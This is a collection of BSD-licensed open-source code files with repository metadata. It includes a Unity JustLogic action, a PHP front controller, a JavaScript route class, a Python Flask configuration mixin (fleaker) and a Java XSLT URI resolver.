LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #if !JUSTLOGIC_FREE using System.Collections.Generic; using JustLogic.Core; [UnitMenu("Branch/Return Script (stop asset script execution)")] public class JLReturnScript : JLAction { protected override IEnumerator<YieldMode> OnExecute(IExecutionContext context) { yield return YieldMode.ReturnScript; } } #endif
AqlaSolutions/JustLogic
Assets/JustLogicUnits/Actions/Branch/JLReturnScript.cs
C#
bsd-3-clause
1,988
<?php /** * This file is part of Redline, a lightweight web application engine for PHP. * Copyright (c) 2005-2009 Sean Kerr. All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are permitted * provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of conditions * and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, this list of * conditions and the following disclaimer in the documentation and/or other materials provided * with the distribution. * * Neither the name Redline nor the names of its contributors may be used to endorse or promote * products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND * FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY * WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * Author: Sean Kerr <sean@code-box.org> */ $root = dirname(__FILE__) . '/..'; // dependencies require_once("{$root}/lib/redline/RLCore.class.php"); // do the dirty work $core = new RLCore($root, "{$root}/config.xml", "{$root}/cache", RL_CACHE_FORCE); $core->dispatch();
seankerr/redline
www/index.php
PHP
bsd-3-clause
1,898
"use strict"; var Route = require("./Route"); /** * A route culture, which is grown into a complete route. * * @constructor * @private * @param {{}} chromosome The chromosome describing the culture. * @memberof everoute.travel.search */ function RouteIncubatorCulture(chromosome) { this.chromosome = chromosome; this.waypoints = []; this.destinationPath = null; } /** * @return {{}} The chromosome of this culture * * @memberof! everoute.travel.search.RouteIncubatorCulture.prototype */ RouteIncubatorCulture.prototype.getChromosome = function() { return this.chromosome; }; /** * Adds given path as a waypoint * @param {Number} index The index of the originating waypoint. * @param {everoute.travel.Path} path the found path. * @memberof! everoute.travel.search.RouteIncubatorCulture.prototype */ RouteIncubatorCulture.prototype.addWaypointPath = function(index, path) { var entry = { index: index, path: path }; this.waypoints.push(entry); }; /** * @param {everoute.travel.Path} path The destination path. * @memberof! everoute.travel.search.RouteIncubatorCulture.prototype */ RouteIncubatorCulture.prototype.setDestinationPath = function(path) { this.destinationPath = path; }; /** * @return {everoute.travel.Route} The final route instance. * @memberof! everoute.travel.search.RouteIncubatorCulture.prototype */ RouteIncubatorCulture.prototype.toRoute = function() { return new Route(this.chromosome.startPath, this.waypoints, this.destinationPath); }; module.exports = RouteIncubatorCulture;
dertseha/eve-route.js
src/travel/search/RouteIncubatorCulture.js
JavaScript
bsd-3-clause
1,553
# ~*~ coding: utf-8 ~*~ """ fleaker.config ~~~~~~~~~~~~~~ This module implements various utilities for configuring your Fleaker :class:`App`. :copyright: (c) 2016 by Croscon Consulting, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ import copy import importlib import os import types from os.path import splitext from werkzeug.datastructures import ImmutableDict from ._compat import string_types from .base import BaseApplication class MultiStageConfigurableApp(BaseApplication): """The :class:`MultiStageConfigurableApp` is a mixin used to provide the primary :meth:`configure` method used to configure a ``Fleaker`` :class:`~fleaker.App`. .. versionadded:: 0.1.0 The :class:`MultiStageConfigurableApp` class has existed since Fleaker was conceived. """ def __init__(self, import_name, **settings): """Construct the app. Adds a list for storing our post configure callbacks. All args and kwargs are the same as the :class:`fleaker.base.BaseApplication`. """ # A dict of all callbacks we should run after configure finishes. These # are then separated by those that should run once, or run multiple # times # @TODO (QoL): There has to be a cleaner way to do this, do that self._post_configure_callbacks = { 'multiple': [], 'single': [], } super(MultiStageConfigurableApp, self).__init__(import_name, **settings) def configure(self, *args, **kwargs): """Configure the Application through a varied number of sources of different types. This function chains multiple possible configuration methods together in order to just "make it work". You can pass multiple configuration sources in to the method and each one will be tried in a sane fashion. Later sources will override earlier sources if keys collide. For example: .. code:: python from application import default_config app.configure(default_config, os.environ, '.secrets') In the above example, values stored in ``default_config`` will be loaded first, then overwritten by those in ``os.environ``, and so on. An endless number of configuration sources may be passed. Configuration sources are type checked and processed according to the following rules: * ``string`` - if the source is a ``str``, we will assume it is a file or module that should be loaded. If the file ends in ``.json``, then :meth:`flask.Config.from_json` is used; if the file ends in ``.py`` or ``.cfg``, then :meth:`flask.Config.from_pyfile` is used; if the module has any other extension we assume it is an import path, import the module and pass that to :meth:`flask.Config.from_object`. See below for a few more semantics on module loading. * ``dict-like`` - if the source is ``dict-like``, then :meth:`flask.Config.from_mapping` will be used. ``dict-like`` is defined as anything implementing an ``items`` method that returns a tuple of ``key``, ``val``. * ``class`` or ``module`` - if the source is an uninstantiated ``class`` or ``module``, then :meth:`flask.Config.from_object` will be used. Just like Flask's standard configuration, only uppercased keys will be loaded into the config. If the item we are passed is a ``string`` and it is determined to be a possible Python module, then a leading ``.`` is relevant. If a leading ``.`` is provided, we assume that the module to import is located in the current package and operate as such; if it begins with anything else we assume the import path provided is absolute. This allows you to source configuration stored in a module in your package, or in another package. Args: *args (object): Any object you want us to try to configure from. Keyword Args: whitelist_keys_from_mappings (bool): Should we whitelist the keys we pull from mappings? Very useful if you're passing in an entire OS ``environ`` and you want to omit things like ``LESSPIPE``. If no whitelist is provided, we use the pre-existing config keys as a whitelist. whitelist (list[str]): An explicit list of keys that should be allowed. If provided and ``whitelist_keys`` is ``True``, we will use that as our whitelist instead of pre-existing app config keys. """ whitelist_keys_from_mappings = kwargs.get( 'whitelist_keys_from_mappings', False ) whitelist = kwargs.get('whitelist') for item in args: if isinstance(item, string_types): _, ext = splitext(item) if ext == '.json': self._configure_from_json(item) elif ext in ('.cfg', '.py'): self._configure_from_pyfile(item) else: self._configure_from_module(item) elif isinstance(item, (types.ModuleType, type)): self._configure_from_object(item) elif hasattr(item, 'items'): # assume everything else is a mapping like object; ``.items()`` # is what Flask uses under the hood for this method # @TODO: This doesn't handle the edge case of using a tuple of # two element tuples to config; but Flask does that. IMO, if # you do that, you're a monster. self._configure_from_mapping( item, whitelist_keys=whitelist_keys_from_mappings, whitelist=whitelist ) else: raise TypeError("Could not determine a valid type for this" " configuration object: `{}`!".format(item)) # we just finished here, run the post configure callbacks self._run_post_configure_callbacks(args) def _configure_from_json(self, item): """Load configuration from a JSON file. This method will essentially just ``json.load`` the file, grab the resulting object and pass that to ``_configure_from_object``. Args: items (str): The path to the JSON file to load. Returns: fleaker.App: Returns itself. """ self.config.from_json(item) return self def _configure_from_pyfile(self, item): """Load configuration from a Python file. Python files include Python source files (``.py``) and ConfigParser files (``.cfg``). This behaves as if the file was imported and passed to ``_configure_from_object``. Args: items (str): The path to the Python file to load. Returns: fleaker.App: Returns itself. """ self.config.from_pyfile(item) return self def _configure_from_module(self, item): """Configure from a module by import path. Effectively, you give this an absolute or relative import path, it will import it, and then pass the resulting object to ``_configure_from_object``. Args: item (str): A string pointing to a valid import path. Returns: fleaker.App: Returns itself. """ package = None if item[0] == '.': package = self.import_name obj = importlib.import_module(item, package=package) self.config.from_object(obj) return self def _configure_from_mapping(self, item, whitelist_keys=False, whitelist=None): """Configure from a mapping, or dict, like object. Args: item (dict): A dict-like object that we can pluck values from. Keyword Args: whitelist_keys (bool): Should we whitelist the keys before adding them to the configuration? If no whitelist is provided, we use the pre-existing config keys as a whitelist. whitelist (list[str]): An explicit list of keys that should be allowed. If provided and ``whitelist_keys`` is true, we will use that as our whitelist instead of pre-existing app config keys. Returns: fleaker.App: Returns itself. """ if whitelist is None: whitelist = self.config.keys() if whitelist_keys: item = {k: v for k, v in item.items() if k in whitelist} self.config.from_mapping(item) return self def _configure_from_object(self, item): """Configure from any Python object based on it's attributes. Args: item (object): Any other Python object that has attributes. Returns: fleaker.App: Returns itself. """ self.config.from_object(item) return self def configure_from_environment(self, whitelist_keys=False, whitelist=None): """Configure from the entire set of available environment variables. This is really a shorthand for grabbing ``os.environ`` and passing to :meth:`_configure_from_mapping`. As always, only uppercase keys are loaded. Keyword Args: whitelist_keys (bool): Should we whitelist the keys by only pulling those that are already present in the config? Useful for avoiding adding things like ``LESSPIPE`` to your app config. If no whitelist is provided, we use the current config keys as our whitelist. whitelist (list[str]): An explicit list of keys that should be allowed. If provided and ``whitelist_keys`` is true, we will use that as our whitelist instead of pre-existing app config keys. Returns: fleaker.base.BaseApplication: Returns itself. """ self._configure_from_mapping(os.environ, whitelist_keys=whitelist_keys, whitelist=whitelist) return self def add_post_configure_callback(self, callback, run_once=False): """Add a new callback to be run after every call to :meth:`configure`. Functions run at the end of :meth:`configure` are given the application's resulting configuration and the arguments passed to :meth:`configure`, in that order. As a note, this first argument will be an immutable dictionary. The return value of all registered callbacks is entirely ignored. Callbacks are run in the order they are registered, but you should never depend on another callback. .. admonition:: The "Resulting" Configuration The first argument to the callback is always the "resulting" configuration from the call to :meth:`configure`. What this means is you will get the Application's FROZEN configuration after the call to :meth:`configure` finished. Moreover, this resulting configuration will be an :class:`~werkzeug.datastructures.ImmutableDict`. The purpose of a Post Configure callback is not to futher alter the configuration, but rather to do lazy initialization for anything that absolutely requires the configuration, so any attempt to alter the configuration of the app has been made intentionally difficult! Args: callback (function): The function you wish to run after :meth:`configure`. Will receive the application's current configuration as the first arugment, and the same arguments passed to :meth:`configure` as the second. Keyword Args: run_once (bool): Should this callback run every time configure is called? Or just once and be deregistered? Pass ``True`` to only run it once. Returns: fleaker.base.BaseApplication: Returns itself for a fluent interface. """ if run_once: self._post_configure_callbacks['single'].append(callback) else: self._post_configure_callbacks['multiple'].append(callback) return self def _run_post_configure_callbacks(self, configure_args): """Run all post configure callbacks we have stored. Functions are passed the configuration that resulted from the call to :meth:`configure` as the first argument, in an immutable form; and are given the arguments passed to :meth:`configure` for the second argument. Returns from callbacks are ignored in all fashion. Args: configure_args (list[object]): The full list of arguments passed to :meth:`configure`. Returns: None: Does not return anything. """ resulting_configuration = ImmutableDict(self.config) # copy callbacks in case people edit them while running multiple_callbacks = copy.copy( self._post_configure_callbacks['multiple'] ) single_callbacks = copy.copy(self._post_configure_callbacks['single']) # clear out the singles self._post_configure_callbacks['single'] = [] for callback in multiple_callbacks: callback(resulting_configuration, configure_args) # now do the single run callbacks for callback in single_callbacks: callback(resulting_configuration, configure_args)
croscon/fleaker
fleaker/config.py
Python
bsd-3-clause
14,203
/******************************************************************************* * Open Behavioral Health Information Technology Architecture (OBHITA.org) * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the <organization> nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ******************************************************************************/ package gov.samhsa.consent2share.c32; import java.io.InputStream; import javax.xml.transform.Source; import javax.xml.transform.TransformerException; import javax.xml.transform.URIResolver; import javax.xml.transform.stream.StreamSource; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * The Class UriResolverImpl. */ class UriResolverImpl implements URIResolver { private final Logger logger = LoggerFactory.getLogger(this.getClass()); /* * (non-Javadoc) * * @see javax.xml.transform.URIResolver#resolve(java.lang.String, * java.lang.String) */ @Override public Source resolve(String href, String base) throws TransformerException { try { final InputStream is = Thread.currentThread() .getContextClassLoader() .getResourceAsStream("C32ToGreenCcd/" + href); final Source source = new StreamSource(is); source.setSystemId("C32ToGreenCcd/" + href); return source; } catch (final Exception e) { logger.error(e.getMessage(), e); throw new TransformerException(e); } } }
OBHITA/Consent2Share
DS4P/acs-showcase/c32-parser/src/main/java/gov/samhsa/consent2share/c32/UriResolverImpl.java
Java
bsd-3-clause
2,783